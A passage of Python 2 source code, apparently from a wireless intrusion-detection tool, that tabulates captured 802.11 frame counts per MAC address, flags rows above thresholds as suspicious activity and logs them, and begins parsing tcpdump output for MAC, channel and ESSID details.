        TITLE= fcolor.CUnderline + fcolor.BGreen + "SN      Source MAC       "  + " " + fcolor.BPink + "Destination MAC  " + " " + fcolor.BBlue + "SSID MAC         " + " " + COLOR1  + fcolor.CUnderline + "ARP".ljust(5) + COLOR2  + fcolor.CUnderline + "D86".ljust(5)+ COLOR3  + fcolor.CUnderline + "D94".ljust(5)+COLOR4  + fcolor.CUnderline +  "D98".ljust(5)+ COLOR5  + fcolor.CUnderline +  "AUTH".ljust(5) + COLOR6  + fcolor.CUnderline + "DATH".ljust(5) + COLOR3  + fcolor.CUnderline + "D.AC".ljust(5) + COLOR7  + fcolor.CUnderline + "ASC".ljust(5)+ COLOR1  + fcolor.CUnderline + "DASC".ljust(5) + COLOR2 + fcolor.CUnderline + "RASC".ljust(5) + COLOR3  + fcolor.CUnderline + "RTS".ljust(5)+ COLOR4  + fcolor.CUnderline + "CTS".ljust(5)+ COLOR2  + fcolor.CUnderline + "ACK".ljust(5)+ COLOR3  + fcolor.CUnderline + "EPL".ljust(5)+  COLOR5 + fcolor.CUnderline + "EPS".ljust(5)+ COLOR1  + fcolor.CUnderline + "WPS".ljust(5)+ COLOR6  + fcolor.CUnderline + "BCN".ljust(5)+ COLOR7  + fcolor.CUnderline + "RQX".ljust(5)+ COLOR1 + fcolor.CUnderline  + "RPN".ljust(5)+ COLOR2 + fcolor.CUnderline  + "NULL".ljust(5) + COLOR3 + fcolor.CUnderline  + "QOS".ljust(5) + COLOR4 + fcolor.CUnderline + "Remarks" + fcolor.CReset 
        if usr_resp!="SHOW LIST3_QUIET":
            print TITLE
        SN=0;OfInterest=""
        while x<len(__builtin__.List_FrMAC):
            lineblock=lineblock+1
            if lineblock==5:
                if usr_resp=="SHOW LIST3_QUIET":
                    completed=Percent(x / float(len(__builtin__.List_FrMAC)),2)
                    printl (spacing + fcolor.SGreen + "Checking for suspicious packets... - " + str(completed),"0","")
                lineblock=0
            SN += 1
            FrMAC=__builtin__.List_FrMAC[x]
            ToMAC=__builtin__.List_ToMAC[x]
            ToBSSID=__builtin__.List_BSSID[x]
            foundloc=FindMACIndex(ToBSSID,ListInfo_BSSID)
            ToESSID=""
            if foundloc>0:
                ToESSID=__builtin__.ListInfo_ESSID[foundloc]
          
            BSSID_OUI=Check_OUI(ToBSSID,"1")
            GET_DATAARP=__builtin__.List_DataARP[x]
            GET_DATA86=__builtin__.List_Data86[x]
            GET_DATA98=__builtin__.List_Data98[x]
            GET_DATA94=__builtin__.List_Data94[x]
            GET_AUTH=__builtin__.List_Auth[x]
            GET_DEAUTH=__builtin__.List_Deauth[x]
            GET_DEAUTH_AC=__builtin__.List_Deauth_AC[x]
            GET_ASSOC=__builtin__.List_Assoc[x]
            GET_REASSOC=__builtin__.List_Reassoc[x]
            GET_DISASSOC=__builtin__.List_Disassoc[x]
            GET_RTS=__builtin__.List_RTS[x]
            GET_CTS=__builtin__.List_CTS[x]
            GET_ACK=__builtin__.List_ACK[x]
            GET_EAPOL_STD=__builtin__.List_EAPOL_STD[x]
            GET_EAPOL_START=__builtin__.List_EAPOL_START[x]
            GET_WPS=__builtin__.List_WPS[x]
            GET_BEACON=__builtin__.List_Beacon[x]
            GET_PRESP=__builtin__.List_PResp[x]
            GET_PRQX=__builtin__.List_PReq[x]
            GET_NULL=__builtin__.List_NULL[x]
            GET_QOS=__builtin__.List_QOS[x]
            GET_PROBE=str(__builtin__.List_ProbeName[x])[:-3]
            tGET_PROBE=RemoveColor(GET_PROBE)
            tGET_PROBE=tGET_PROBE.replace(" / <<Broadcast>> / "," / ").replace(" / <<Broadcast>>","").replace("<<Broadcast>> / ","")
            GET_PROBEList=[]
            GET_PROBEList=tGET_PROBE.split(" / ")
            if str(GET_PROBE).find("\\")!=-1 or FrMAC!=ToBSSID:
                GET_PROBEList=[]
            if len(GET_PROBEList)==2 and len(GET_PROBEList[0])==len(GET_PROBEList[1]):
                if str(GET_PROBEList[0])[:1].upper()==str(GET_PROBEList[1])[:1].upper() or str(GET_PROBEList[0])[-1:].upper()==str(GET_PROBEList[1])[-1:].upper():
                    GET_PROBEList=[]
            if len(GET_PROBEList)==3 and len(GET_PROBEList[0])==len(GET_PROBEList[1]) and len(GET_PROBEList[1])==len(GET_PROBEList[2]):
                if str(GET_PROBEList[0])[:1].upper()==str(GET_PROBEList[1])[:1].upper() or str(GET_PROBEList[0])[-1:].upper()==str(GET_PROBEList[1])[-1:].upper() or str(GET_PROBEList[1])[:1].upper()==str(GET_PROBEList[2])[:1].upper() or str(GET_PROBEList[1])[-1:].upper()==str(GET_PROBEList[2])[-1:].upper():
                    GET_PROBEList=[]
            if len(GET_PROBEList)==2 and len(GET_PROBEList[0])!=len(GET_PROBEList[1]):
                if len(GET_PROBEList[1])<5 or len(GET_PROBEList[1])<5:
                    if str(GET_PROBEList[0])[:1].upper()==str(GET_PROBEList[1])[:1].upper(): 
                        GET_PROBEList=[]
            
            THRESHOLD=int(__builtin__.THRESHOLD)
            ADDOFINTEREST=0
            ADDOFINTEREST_SENSITIVE=0
            if int(GET_DATAARP)>int(__builtin__.THRESHOLD_DATAARP) or int(GET_DATA86)>int(__builtin__.THRESHOLD_DATA86) or int(GET_DATA94)>int(__builtin__.THRESHOLD_DATA94) or int(GET_DATA98)>int(__builtin__.THRESHOLD_DATA98) or int(GET_AUTH)>int(__builtin__.THRESHOLD_AUTH) or int(GET_DEAUTH)>int(__builtin__.THRESHOLD_DEAUTH) or int(GET_DEAUTH_AC)>int(__builtin__.THRESHOLD_DEAUTH_AC) or int(GET_ASSOC)>int(__builtin__.THRESHOLD_ASSOC) or int(GET_DISASSOC)>int(__builtin__.THRESHOLD_DISASSOC) or int(GET_REASSOC)>int(__builtin__.THRESHOLD_REASSOC) or int(GET_EAPOL_STD)>int(__builtin__.THRESHOLD_EAPOL_STD) or int(GET_EAPOL_START)>int(__builtin__.THRESHOLD_EAPOL_START) or int(GET_WPS)>int(__builtin__.THRESHOLD_WPS) or int(GET_QOS)>int(__builtin__.THRESHOLD_QOS) or len(GET_PROBEList)>1:
                ADDOFINTEREST_SENSITIVE=1
            if int(GET_DATAARP)>THRESHOLD or int(GET_DATA86)>THRESHOLD  or int(GET_DATA94)>int(THRESHOLD) or int(GET_DATA98)>int(THRESHOLD) or int(GET_DATA94)>THRESHOLD or int(GET_AUTH)>THRESHOLD or int(GET_DEAUTH_AC)>THRESHOLD or int(GET_DEAUTH)>THRESHOLD or int(GET_ASSOC)>THRESHOLD or int(GET_DISASSOC)>THRESHOLD or int(GET_REASSOC)>THRESHOLD or int(GET_EAPOL_STD)>THRESHOLD  or int(GET_EAPOL_START)>THRESHOLD or int(GET_WPS)>THRESHOLD or int(GET_QOS)>THRESHOLD  or len(GET_PROBEList)>1:
                ADDOFINTEREST=1
            if ADDOFINTEREST!=1 and int(GET_DEAUTH_AC)>0 and int(GET_DEAUTH)==0 and int(GET_DISASSOC)>0:
                if FrMAC=="FF:FF:FF:FF:FF:FF" or ToMAC=="FF:FF:FF:FF:FF:FF":
                    ADDOFINTEREST=1
               
            if GET_DATAARP=="0":
                GET_DATAARP="-"
            if GET_DATA86=="0":
                GET_DATA86="-"
            if GET_DATA94=="0":
                GET_DATA94="-"
            if GET_DATA98=="0":
                GET_DATA98="-"
            if GET_AUTH=="0":
                GET_AUTH="-"
            if GET_DEAUTH=="0":
                GET_DEAUTH="-"
            if GET_DEAUTH_AC=="0":
                GET_DEAUTH_AC="-"
            if GET_ASSOC=="0":
                GET_ASSOC="-"
            if GET_REASSOC=="0":
                GET_REASSOC="-"
            if GET_DISASSOC=="0":
                GET_DISASSOC="-"
            if GET_RTS=="0":
                GET_RTS="-"
            if GET_CTS=="0":
                GET_CTS="-"
            if GET_ACK=="0":
                GET_ACK="-"
            if GET_EAPOL_STD=="0":
                GET_EAPOL_STD="-"
            if GET_EAPOL_START=="0":
                GET_EAPOL_START="-"
            if GET_WPS=="0":
                GET_WPS="-"
            if GET_BEACON=="0":
                GET_BEACON="-"
            if GET_PRESP=="0":
                GET_PRESP="-"
            if GET_PRQX=="0":
                GET_PRQX="-"
            if GET_NULL=="0":
                GET_NULL="-"
            if GET_QOS=="0":
                GET_QOS="-"
            if usr_resp[:10]=="SHOW LIST1":
                ToDisplay=1
            if usr_resp[:10]=="SHOW LIST4" or usr_resp=="SHOW LIST3_QUIET":
                if ADDOFINTEREST==1:
                    ToDisplay=1
                if ADDOFINTEREST_SENSITIVE==0 and ADDOFINTEREST==0:
                    ToDisplay=0
            if usr_resp[:10]=="SHOW LIST3" or usr_resp=="SHOW LIST3_QUIET":
                if ADDOFINTEREST_SENSITIVE==1:
                    ToDisplay=1
                if ADDOFINTEREST_SENSITIVE==0 and ADDOFINTEREST==0:
                    ToDisplay=0
            if usr_resp[:10]=="SHOW LIST2":
                if len(__builtin__.ANALYSIS_MAC)>0:
                    ToDisplay=0
                    yc=0
                    while yc < len(__builtin__.ANALYSIS_MAC):
                        tmpsearch=str(__builtin__.ANALYSIS_MAC[yc]).upper()
                        if str(FrMAC).find(tmpsearch)!=-1 or str(ToMAC).find(tmpsearch)!=-1 or str(ToBSSID).find(tmpsearch)!=-1:
                            if str(tmpMACList).find(FrMAC)==-1:
                                tmpMACList.append (FrMAC)
                            if str(tmpMACList).find(ToMAC)==-1:
                                tmpMACList.append (ToMAC)
                            if str(tmpMACList).find(ToBSSID)==-1:
                                tmpMACList.append (ToBSSID)
                            ToDisplay=1
                            yc=len(__builtin__.ANALYSIS_MAC)
                        else:
                            ToDisplay=0
                        yc += 1
                else:
                    ToDisplay=1
            if ToDisplay==1:
                if ADDOFINTEREST==1:
                    OfInterest=OfInterest + str(SN) + ", "
                    ADDOFINTEREST=0
                if ADDOFINTEREST_SENSITIVE==1:
                    OfInterestSensitive=OfInterestSensitive + str(SN) + ", "
                    ADDOFINTEREST_SENSITIVE=0
                FMColor=fcolor.BGreen
                TMColor=fcolor.BPink
                YOURMAC=""
                if CheckContainMyMAC(FrMAC)==True or CheckContainMyMAC(ToMAC)==True:
                    YOURMAC=fcolor.SRed + "[Your MAC]"
                    if CheckContainMyMAC(FrMAC)==True:
                        FMColor=fcolor.BRed
                    if CheckContainMyMAC(ToMAC)==True:
                        TMColor=fcolor.BRed
                GET_PROBE=GET_PROBE.replace(" / ",fcolor.SWhite + " / " + COLOR4)
                if usr_resp!="SHOW LIST3_QUIET":
                    print fcolor.SWhite + str(SN).ljust(8) + FMColor + FrMAC + " " + TMColor + ToMAC + " " + fcolor.BBlue + ToBSSID + " " + COLOR1 + GET_DATAARP.ljust(5) + COLOR2 + GET_DATA86.ljust(5)+ COLOR3 + GET_DATA94.ljust(5)+COLOR4 +  GET_DATA98.ljust(5)+ COLOR5 +  GET_AUTH.ljust(5)+ COLOR6 + GET_DEAUTH.ljust(5) + COLOR3 + GET_DEAUTH_AC.ljust(5) + COLOR6 + COLOR7 + GET_ASSOC.ljust(5)+ COLOR1 + GET_DISASSOC.ljust(5) + COLOR2 + GET_REASSOC.ljust(5) + COLOR3 + GET_RTS.ljust(5)+ COLOR4 + GET_CTS.ljust(5)+ COLOR2 + GET_ACK.ljust(5)+ COLOR3 + GET_EAPOL_STD.ljust(5) +COLOR5 + GET_EAPOL_START.ljust(5) + GET_WPS.ljust(5)+ COLOR6 + GET_BEACON.ljust(5)+ COLOR7 + GET_PRQX.ljust(5)+ COLOR1 + GET_PRESP.ljust(5)+ COLOR2 + GET_NULL.ljust(5) + COLOR3 + GET_QOS.ljust(5) + COLOR7 + YOURMAC
                    cCount=str(GET_DATAARP) + "\t" + str(GET_DATA86) + "\t" + str(GET_DATA94) + "\t" + str(GET_DATA98) + "\t" + str(GET_AUTH)  + "\t" + str(GET_DEAUTH) + "\t" + str(GET_DEAUTH_AC) + "\t" + str(GET_ASSOC) + "\t" + str(GET_DISASSOC) + "\t" + str(GET_REASSOC) + "\t" + str(GET_RTS) + "\t" + str(GET_CTS) + "\t" + str(GET_ACK) + "\t" + str(GET_EAPOL_STD) + "\t" + str(GET_EAPOL_START) + "\t" + str(GET_WPS) + "\t" + str(GET_BEACON) + "\t" + str(GET_PRQX) + "\t" + str(GET_PRESP) + "\t" + str(GET_NULL) + "\t" + str(GET_QOS)
                    cCount=str(cCount).replace("-","0")
                    __builtin__.OfInterest_List.append (str(FrMAC) + "\t" + str(ToMAC) + "\t" + str(ToBSSID) + "\t" + str(cCount) + "\t" + str(YOURMAC) + "\t" + str(GET_PROBE))
                    print fcolor.SWhite + " ".ljust(36) + "ESSID : " + COLOR3 + str(ToESSID).ljust(43) + fcolor.SWhite + "OUI: " + COLOR5 + str(BSSID_OUI) + ""
                    if GET_PROBE!="" and TITLE_PROBE=="":
                        if GET_PROBE=="<<Broadcast>>":
                            GET_PROBE=fcolor.SBlack + GET_PROBE
                        print fcolor.SWhite + " ".ljust(36) + "Probe : " + COLOR4 + GET_PROBE + ""
                else:
                    
                    rtnDisplay=rtnDisplay + fcolor.SWhite + str(SN).ljust(8) + FMColor + FrMAC + " " + TMColor + ToMAC + " " + fcolor.BBlue + ToBSSID + " " + COLOR1 + GET_DATAARP.ljust(5) + COLOR2 + GET_DATA86.ljust(5)+ COLOR3 + GET_DATA94.ljust(5)+COLOR4 +  GET_DATA98.ljust(5)+ COLOR5 +  GET_AUTH.ljust(5)+ COLOR3 + GET_DEAUTH.ljust(5) + COLOR6 + GET_DEAUTH_AC.ljust(5) + COLOR7 + GET_ASSOC.ljust(5)+ COLOR1 + GET_DISASSOC.ljust(5) + COLOR2 + GET_REASSOC.ljust(5) + COLOR3 + GET_RTS.ljust(5)+ COLOR4 + GET_CTS.ljust(5)+ COLOR2 + GET_ACK.ljust(5)+ COLOR3 + GET_EAPOL_STD.ljust(5) + COLOR5 + GET_EAPOL_START.ljust(5) + GET_WPS.ljust(5)+ COLOR6 + GET_BEACON.ljust(5)+ COLOR7 + GET_PRQX.ljust(5)+ COLOR1 + GET_PRESP.ljust(5)+ COLOR2 + GET_NULL.ljust(5) + COLOR3 + GET_QOS.ljust(5) + COLOR7  + str(YOURMAC) + "\n"
                    rtnDisplay=rtnDisplay + fcolor.SWhite + " ".ljust(36) + "ESSID : " + COLOR3 + str(ToESSID).ljust(43) + fcolor.SWhite + "OUI: " + COLOR5 + str(BSSID_OUI) + "\n"
                    if GET_PROBE!="":
                        if GET_PROBE=="<<Broadcast>>":
                            GET_PROBE=fcolor.SBlack + GET_PROBE
                        rtnDisplay=rtnDisplay + fcolor.SWhite + " ".ljust(36) + "Probe : " + COLOR4 + GET_PROBE + "\n"
                    cCount=str(GET_DATAARP) + "\t" + str(GET_DATA86) + "\t" + str(GET_DATA94) + "\t" + str(GET_DATA98) + "\t" + str(GET_AUTH)  + "\t" + str(GET_DEAUTH) + "\t" + str(GET_DEAUTH_AC) + "\t" + str(GET_ASSOC) + "\t" + str(GET_DISASSOC) + "\t" + str(GET_REASSOC) + "\t" + str(GET_RTS) + "\t" + str(GET_CTS) + "\t" + str(GET_ACK) + "\t" + str(GET_EAPOL_STD) + "\t" + str(GET_EAPOL_START) + "\t" + str(GET_WPS) + "\t" + str(GET_BEACON) + "\t" + str(GET_PRQX) + "\t" + str(GET_PRESP) + "\t" + str(GET_NULL) + "\t" + str(GET_QOS)
                    cCount=str(cCount).replace("-","0")
                    __builtin__.OfInterest_List.append (str(FrMAC) + "\t" + str(ToMAC) + "\t" + str(ToBSSID) + "\t" + str(cCount) + "\t" + str(YOURMAC) + "\t" + str(GET_PROBE))
               
                y += 1;DisplayCt += 1
            x += 1
            if y==20 and usr_resp!="SHOW LIST3_QUIET":
                print TITLE
                y=0
        if usr_resp!="SHOW LIST3_QUIET":
            LineBreak()
        if DisplayCt!=0:
            if usr_resp!="SHOW LIST3_QUIET":
                print fcolor.BWhite + str(DisplayCt) + " records listed. "  + fcolor.SWhite + "[ Total Record : " + str(SN) + " ]"
                if OfInterestSensitive!="" and usr_resp[:10]!="SHOW LIST3":
                    print fcolor.BWhite + "Sr.No. Of Interest (IDS Sensitivity)\t: " + fcolor.BRed + str(OfInterestSensitive)[:-2].replace(",",fcolor.SWhite + "," + fcolor.BRed) + "\t" + fcolor.BGreen + "Use [SHOW LIST3] to filter of interest result."
                if OfInterest!="" and usr_resp[:10]!="SHOW LIST4":
                    print fcolor.BWhite + "Sr.No. Of Interest (Threshold - " + str(__builtin__.THRESHOLD) + ")\t: " + fcolor.BRed + str(OfInterest)[:-2].replace(",",fcolor.SWhite + "," + fcolor.BRed) + "\t" + fcolor.BGreen + "Use [SHOW LIST4] to filter of interest result."
            else:
                if usr_resp=="SHOW LIST3_QUIET":
                    rtnDisplay=rtnDisplay + "\n" + fcolor.BWhite + str(DisplayCt) + " records listed. "  + fcolor.SWhite + "[ Total Record : " + str(SN) + " ]"
        else:
            if usr_resp!="SHOW LIST3_QUIET":
                print fcolor.BWhite + "No record found. " + fcolor.SWhite + "[ Total Record : " + str(SN) + " ]"
        if usr_resp=="SHOW LIST2":
            RECON_CMD=1;
            if len(__builtin__.ANALYSIS_SEARCH)>0:
                DisplayMsg=""
                yc=0
                while yc < len(__builtin__.ANALYSIS_SEARCH):
                    tmpsearch=str(__builtin__.ANALYSIS_SEARCH[yc]).upper()
                    foundloc=FindMACIndex(tmpsearch,ListInfo_BSSID)
                    if foundloc!=-1:
                        OUITxt=DisplayOUIDetail(tmpsearch,fcolor.BCyan)
                        DisplayMsg = DisplayMsg + str(DisplayESSIDDetail(tmpsearch,fcolor.BCyan))
                        DisplayMsg = DisplayMsg + str(OUITxt) 
                        DisplayMsg = DisplayMsg + str(DisplaySSIDDetail(tmpsearch)) + "\n"
                    yc += 1
                if DisplayMsg!="":
                    print DisplayMsg
                DisplayMsg1=""
                DisplayMsg2=""
                yc=0
                while yc < len(tmpMACList):
                    CurrMAC=tmpMACList[yc]
                    xc=0
                    ToDisplay=1
                    while xc < len(__builtin__.ANALYSIS_SEARCH):
                        tmpsearch=str(__builtin__.ANALYSIS_SEARCH[xc]).upper()
                        if CurrMAC==tmpsearch:
                            ToDisplay=0
                        xc += 1
                    if ToDisplay==1:
                        foundloc=FindMACIndex(CurrMAC,ListInfo_BSSID)
                        if foundloc!=-1:
                            OUITxt=DisplayOUIDetail(CurrMAC,fcolor.BCyan)
                            DisplayMsg1 = DisplayMsg1 + str(DisplayESSIDDetail(CurrMAC,fcolor.BCyan))
                            DisplayMsg1 = DisplayMsg1 + str(OUITxt) 
                            DisplayMsg1 = DisplayMsg1 + str(DisplaySSIDDetail(CurrMAC)) + ""
                        else:
                            foundloc=FindMACIndex(CurrMAC,ListInfo_STATION)
                            if foundloc!=-1:
                                MM=CheckContainMyMAC(CurrMAC)
                                if MM==True:
                                    DisplayMsg2 = DisplayMsg2 + fcolor.SRed + "  MAC Addr [ " + fcolor.BGreen + CurrMAC + fcolor.SRed + " ] is a your interface MAC Address.\n"
                                OUITxt=DisplayOUIDetail(CurrMAC,fcolor.BGreen)
                                if ListInfo_CBSSID[foundloc]!="Not Associated":
                                    DisplayMsg2 = DisplayMsg2 + fcolor.SWhite + "  MAC Addr [ " + fcolor.BGreen + CurrMAC + fcolor.SWhite + " ] is a station associated to [ " + fcolor.BPink + ListInfo_CBSSID[foundloc] + fcolor.SWhite + " ]\n"
                                else:
                                    DisplayMsg2 = DisplayMsg2 + fcolor.SWhite + "  MAC Addr [ " + fcolor.BGreen + CurrMAC + fcolor.SWhite + " ] is a station and is not associated.\n"
                                DisplayMsg2 = DisplayMsg2 + str(OUITxt)  + ""
                                if ListInfo_CBSSID[foundloc]!="Not Associated":
                                    OUITxt=DisplayOUIDetail(ListInfo_CBSSID[foundloc],fcolor.BPink)
                                    DisplayMsg2 = DisplayMsg2 + str(DisplayESSIDDetail(ListInfo_CBSSID[foundloc],fcolor.BPink))
                                    DisplayMsg2 = DisplayMsg2 + str(OUITxt) 
                                    DisplayMsg2 = DisplayMsg2 + str(DisplaySSIDDetail(ListInfo_CBSSID[foundloc])) + "\n"
                                else:
                                    DisplayMsg2 = DisplayMsg2 + "\n"
                    yc += 1
                if usr_resp!="SHOW LIST3_QUIET":
                    if DisplayMsg1!="":
                        print DisplayMsg1
                    if DisplayMsg2!="":
                        print DisplayMsg2
    if usr_resp=="SHOW LIST3_QUIET":
        if __builtin__.SHOW_SUSPICIOUS_LISTING=="Yes" and rtnDisplay!="":
            printl ("                                                           \r","0","")
            CenterText(fcolor.BGIRed + fcolor.BWhite,"< < <<  SUSPICIOUS ACTIVITY LISTING  >> > >      ")
            print ""
            rtnDisplay=TITLE + "\n" + rtnDisplay
            rtnDisplay=rtnDisplay + "\n" + "Reported : " + str(Now()) 
            print rtnDisplay
            WriteSuspiciousLog(rtnDisplay) 
            __builtin__.MSG_SuspiciousListing=__builtin__.MSG_SuspiciousListing + rtnDisplay + "\n"
            __builtin__.MSG_CombinationLogs=__builtin__.MSG_CombinationLogs + rtnDisplay + "\n"
            BeepSound()
        else:
            if __builtin__.SHOW_SUSPICIOUS_LISTING=="Yes":
                printl ("                                                           \r","0","")
                DisplayText=fcolor.SGreen + str(Now()) + "\t- No suspicious activty listing."
                print str(DisplayText)
                WriteSuspiciousLog(DisplayText)
    return rtnDisplay

def SearchFiles(sDir,sExtList,sNameFilter):
    __builtin__.FoundFiles = [fn for fn in os.listdir(sDir) if any([fn.endswith(ext) for ext in sExtList])];
    __builtin__.FoundFiles.sort()
    __builtin__.FoundFiles_Filtered=[]
    if sNameFilter!="":
        F1Filter=sNameFilter[:1]
        F2Filter=sNameFilter[-1:]
        FFilter=str(sNameFilter).replace("*","").upper()
        FFilterLen=len(FFilter)
        x=0
        while x<len(__builtin__.FoundFiles):
            uFoundFile=str(__builtin__.FoundFiles[x]).upper()
            SplitFileDetail(uFoundFile)
            UFoundNameOnly=str(__builtin__.FileNameOnly).upper()
            if F1Filter=="*" and F2Filter=="*" and str(uFoundFile).find(FFilter)!=-1:
                __builtin__.FoundFiles_Filtered.append (__builtin__.FoundFiles[x])
            if F1Filter!="*" and F2Filter=="*" and len(uFoundFile)>FFilterLen and uFoundFile[:FFilterLen]==FFilter:
                __builtin__.FoundFiles_Filtered.append (__builtin__.FoundFiles[x])
            if F1Filter=="*" and F2Filter!="*" and len(uFoundFile)>FFilterLen and uFoundFile[-FFilterLen:]==UFoundNameOnly:
                __builtin__.FoundFiles_Filtered.append (__builtin__.FoundFiles[x])
            x += 1
        __builtin__.FoundFiles=__builtin__.FoundFiles_Filtered

def IsHex(sStr):
    import string
    sStr=str(sStr).replace(":","").replace("*","")
    hex_digits = set(string.hexdigits)
    return all(c in hex_digits for c in sStr)

def DisplayAnalysisMACFilter(WithTAB):
    FILTERSTR=""
    yc=0
    while yc<len(__builtin__.ANALYSIS_MAC):
        FILTERSTR=FILTERSTR + fcolor.BYellow + __builtin__.ANALYSIS_MAC[yc] + StdColor + " / "
        yc += 1
    if FILTERSTR!="":
        FILTERSTR=str(FILTERSTR)[:-3]
    TABSPC=""
    NL=""
    if WithTAB=="1":
        TABSPC=tabspacefull
        NL="\n"
    if WithTAB=="2":
        TABSPC=tabspacefull
    if FILTERSTR!="":
        print TABSPC + fcolor.SGreen + "SEARCH MAC ADDRESS : " + fcolor.BYellow + str(FILTERSTR) + str(NL)

def DisplayAnalysisSearchFilter(WithTAB):
    FILTERSTR=""
    yc=0
    while yc<len(__builtin__.ANALYSIS_SEARCH):
        FILTERSTR=FILTERSTR + fcolor.BYellow + __builtin__.ANALYSIS_SEARCH[yc] + StdColor + " / "
        yc += 1
    if FILTERSTR!="":
        FILTERSTR=str(FILTERSTR)[:-3]
    TABSPC=""
    NL=""
    if WithTAB=="1":
        TABSPC=tabspacefull
        NL="\n"
    if WithTAB=="2":
        TABSPC=tabspacefull
    if FILTERSTR!="":
        print TABSPC + fcolor.SGreen + "CONTAIN FILTER     : " + fcolor.BYellow + str(FILTERSTR) + str(NL)

def DisplayAnalysisIgnoreFilter(WithTAB):
    FILTERSTR=""
    yc=0
    while yc<len(__builtin__.ANALYSIS_IGNORE):
        FILTERSTR=FILTERSTR + fcolor.BYellow + __builtin__.ANALYSIS_IGNORE[yc] + StdColor + " / "
        yc += 1
    if FILTERSTR!="":
        FILTERSTR=str(FILTERSTR)[:-3]
    TABSPC=""
    NL=""
    if WithTAB=="1":
        TABSPC=tabspacefull
        NL="\n"
    if WithTAB=="2":
        TABSPC=tabspacefull
    if FILTERSTR!="":
        print TABSPC + fcolor.SGreen + "HIDE PACKET TYPE   : " + fcolor.BYellow + str(FILTERSTR) + str(NL)

def PacketAnalysis():
    CenterText(fcolor.SBlack + fcolor.BGIWhite,"Interactive Mode - Packet Analysis    ")
    printc ("+", fcolor.BBlue + "Packet Analysis - Interactive","")
    print tabspacefull + StdColor + "This option allow user to search for information on the captured packets on the intrusion module which user can have an insight view and better analysis of these packets. There are also many other options available. Type [HELP] for detail.";print ""
    if len(__builtin__.ANALYSIS_SEARCH)!=0 or len(__builtin__.ANALYSIS_IGNORE)!=0 or len(__builtin__.ANALYSIS_MAC)!=0:
        print tabspacefull + fcolor.BWhite + "Curent Filter Setting"
        DisplayAnalysisMACFilter("2")
        DisplayAnalysisSearchFilter("2")
        DisplayAnalysisIgnoreFilter("2")
        print ""
    ReadCommand()
    LineBreak()
    return
  
 

def TCPDump_ExtractDetail(DataList,rawline):
    x=0
    __builtin__.MAC_TA=""
    __builtin__.MAC_RA=""
    __builtin__.MAC_SA=""
    __builtin__.MAC_DA=""
    __builtin__.MAC_BSSID=""
    __builtin__.SRC_TYPE=""
    __builtin__.DST_TYPE=""
    __builtin__.SRC_MAC=""
    __builtin__.DST_MAC=""
    __builtin__.SRC_MACLoc=""
    __builtin__.DST_MACLoc=""
    __builtin__.PKT_CMD=""
    __builtin__.PKT_SPEED=""
    __builtin__.PKT_FREQ=""
    __builtin__.PKT_STANDARD=""
    __builtin__.PKT_POWER=""
    __builtin__.PKT_ESSID=""
    __builtin__.PKT_PROBE_REQ=""
    __builtin__.PKT_PROBE_RSP=""
    __builtin__.PKT_MBIT=""
    __builtin__.PKT_CHANNEL=""
    __builtin__.PKT_ESS="No"
    lendata=len(DataList)-1
    __builtin__.PKT_CMD=datastr=DataList[lendata] 
    if __builtin__.PKT_CMD=="BA":
        __builtin__.PKT_CMD="Block-Ack"
    if rawline.find("Data IV")!=-1:
        __builtin__.PKT_CMD="DATA"
    while x<len(DataList):
        w=x-1
        y=x+ 1
        if y>lendata:
            y=lendata
        datastr=DataList[x]
        if datastr=="Mb/s":
            __builtin__.PKT_SPEED=DataList[w] + " Mb/s"
        if datastr=="MHz":
            __builtin__.PKT_FREQ=DataList[w] + " MHz"
            __builtin__.PKT_FREQ=str(__builtin__.PKT_FREQ).replace(" MHz","").lstrip().rstrip()
            if __builtin__.PKT_FREQ.isdigit():
                __builtin__.PKT_FREQ=float(__builtin__.PKT_FREQ) /1000
            if DataList[y][:2]=="11":
                __builtin__.PKT_STANDARD=DataList[y].upper()
        if datastr[:1]=="-" and datastr[-2:]=="dB":
            __builtin__.PKT_POWER=datastr.replace("dB","")
        if datastr=="CH:":
            __builtin__.PKT_CHANNEL=DataList[y].replace(",","")
        if datastr=="ESS" or datastr=="ESS,":
            __builtin__.PKT_ESS="Yes"
        if len(DataList[x])==20 or len(DataList[x])==23:
            if datastr[:3]=="TA:":
                __builtin__.MAC_TA=str(DataList[x][3:]).upper()
                __builtin__.SRC_MAC=__builtin__.MAC_TA
            if datastr[:3]=="RA:":
                __builtin__.MAC_RA=str(DataList[x][3:]).upper()
                __builtin__.DST_MAC=__builtin__.MAC_RA
            if datastr[:3]=="SA:":
                __builtin__.MAC_SA=str(DataList[x][3:]).upper()
                __builtin__.SRC_MAC=__builtin__.MAC_SA
            if datastr[:3]=="DA:":
                __builtin__.MAC_DA=str(DataList[x][3:]).upper()
                __builtin__.DST_MAC=__builtin__.MAC_DA
            if datastr[:6]=="BSSID:":
                __builtin__.MAC_BSSID=str(DataList[x][6:]).upper() 
                if __builtin__.SRC_MAC=="":
                    __builtin__.SRC_MAC=__builtin__.MAC_BSSID
        x += 1
    if __builtin__.SRC_MAC!="":
        foundloc=FindMACIndex(__builtin__.SRC_MAC,ListInfo_BSSID)
        if foundloc!=-1:
            __builtin__.SRC_MACLoc=foundloc
            __builtin__.SRC_TYPE="AP"
        foundloc=FindMACIndex(__builtin__.SRC_MAC,ListInfo_STATION)
        if foundloc!=-1:
            __builtin__.SRC_MACLoc=foundloc
            __builtin__.SRC_TYPE="ST"
    if __builtin__.DST_MAC!="":
        foundloc=FindMACIndex(__builtin__.DST_MAC,ListInfo_BSSID)
        if foundloc!=-1:
            __builtin__.DST_MACLoc=foundloc
            __builtin__.DST_TYPE="AP"
        foundloc=FindMACIndex(__builtin__.DST_MAC,ListInfo_STATION)
        if foundloc!=-1:
            __builtin__.DST_MACLoc=foundloc
            __builtin__.DST_TYPE="ST"
    if __builtin__.SRC_MAC=="FF:FF:FF:FF:FF:FF":
        __builtin__.SRC_TYPE="BCAST"
    if __builtin__.DST_MAC=="FF:FF:FF:FF:FF:FF":
        __builtin__.DST_TYPE="BCAST"
    if __builtin__.MAC_BSSID=="":
        if __builtin__.SRC_TYPE=="ST":
            __builtin__.MAC_BSSID=__builtin__.SRC_MAC
        if __builtin__.DST_TYPE=="ST":
            __builtin__.MAC_BSSID=__builtin__.DST_MAC
     
    if rawline.find("Beacon (")!=-1:
        Pos1=rawline.find("Beacon (")+8
        NewLine=str(rawline)[Pos1:]
        Pos2=str(NewLine).find(") ")
        __builtin__.PKT_ESSID=str(NewLine)[:Pos2]
        __builtin__.PKT_CMD="Beacon"
    if rawline.find("Probe_Request (")!=-1:
        Pos1=rawline.find("Probe_Request (")+15
        NewLine=str(rawline)[Pos1:]
        Pos2=str(NewLine).find(") ")
